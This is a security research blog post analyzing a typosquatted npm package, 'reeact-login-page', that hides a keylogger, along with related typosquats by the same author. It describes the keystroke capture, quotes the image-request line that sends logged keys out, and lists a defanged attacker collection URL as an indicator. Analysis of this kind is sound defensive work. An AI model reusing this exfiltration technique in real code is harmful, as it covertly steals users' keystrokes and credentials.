Malicious npm Package Typosquats react-login-page to Deploy Keylogger
Socket researchers unpack a typosquatting package with malicious code that logs keystrokes and exfiltrates sensitive data to a remote server.
Sarah Gooding
Socket Research Team
July 2, 2024
Let’s say you’re trying to build a quick React app, excited to add a sleek login page to make it functional and ship your MVP as soon as possible. Scrolling through npm, you find a package that says it includes react login pages, which can be used quickly after installation. It looks pretty good, has a nice readme file, the examples look straightforward, and the installation process is simple. You quickly integrate it into your project, thrilled at how easy it is to set up.
Unfortunately, underneath this convincing exterior is malicious code designed to capture keystrokes and exfiltrate sensitive data to a remote server controlled by the attacker. You might not notice this malicious activity until the damage is already done, as the package appears legitimate and functions as expected initially.
The Socket Research team has analyzed a package that functions exactly in this way. The reeact-login-page package is a typosquatting attack that Socket flagged as malware due to the presence of a keylogger and unauthorized data exfiltration. After examining more packages from this author, it appears this is not the only one that deploys a keylogger. Let’s break down the threat.
The readme file for reeact-login-page is a copy of the legitimate react-login-page package. It displays the same logo and download counts at the top of the page in an attempt to add credibility. It also shows some examples and includes the same installation and usage instructions as the legitimate package.
The malicious code has a sophisticated method of capturing keystrokes and sending sensitive data discreetly, making it challenging to notice until it's too late.
Capturing Keystrokes
This code snippet captures keystrokes and stores them along with the custom property in the keys string:
useEffect Hook: Sets up a setInterval function that runs every 1000 milliseconds (1 second).
Data Transmission: If the keys string contains data, it sends the data as a query parameter to a URL by creating a new image request. This method is often used to bypass cross-origin restrictions (CORS).
Resetting keys: Clears the keys string after sending the data.
Cleanup: Clears the interval when the component unmounts.
The variables for the URLs and custom properties in the malicious package 'react-login-page' were set in a separate file named 'commonVars.d.ts'. This separation of concerns can make it harder to detect malicious behavior, as the main code file may not contain explicit references to sensitive data or endpoints.
Summary of Data Sent:
Keystrokes: The keys pressed by the user.
Custom Property: The IP address fetched from the customUrl.
The data is formatted and sent as a query parameter in an image request to avoid CORS issues. This method is often used for tracking purposes:
new Image().src = `${url}${keys}`;
This line constructs a URL by appending the accumulated keys string (which includes keystrokes and the IP address) to the base URL and sends it as an image request.
Impact
The malicious package captures:
Keystrokes: Every key pressed by the user is logged.
IP Addresses: Fetched from an external service and included in the logged data.
Most of the author's packages are typosquatting React login page functionality (react-1ogin-page, @reect-login-page/base, etc.)There are others like the sty1ed-react-modal package which typosquats the legitimate styled-react-modal that receives 15K weekly downloads. This package also includes a keylogger.
The important lesson here is if you're looking for React UI components, make sure you're not just glancing at the readme page to determine if it's a safe package to use. Carefully examine the package name/identifier as well as the author's previous work.
We have flagged these threats as malware and alerted the registry to remove the packages, but threat actors are constantly using npm to distribute these types of low-effort snares.
The easiest way to improve how you're vetting packages from npm is to install Socket's free GitHub app. Whenever a new dependency is added in a pull request, Socket analyzes the package's behavior and will flag anything malicious so that keyloggers like this and other malware never touch your codebase.
IOC
URLs:
hxxps://adlinczewska.pl/beaut-login/keylog.php?c=
hxxp://api.ipify.org/?format=json
Socket Research Team
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Ready to block malicious and vulnerable dependencies?
North Korean threat actors linked to the Contagious Interview campaign return with 35 new malicious npm packages using a stealthy multi-stage malware loader.
The Socket Research Team investigates a malicious Python typosquat of a popular password library that forces Windows shutdowns when input is incorrect.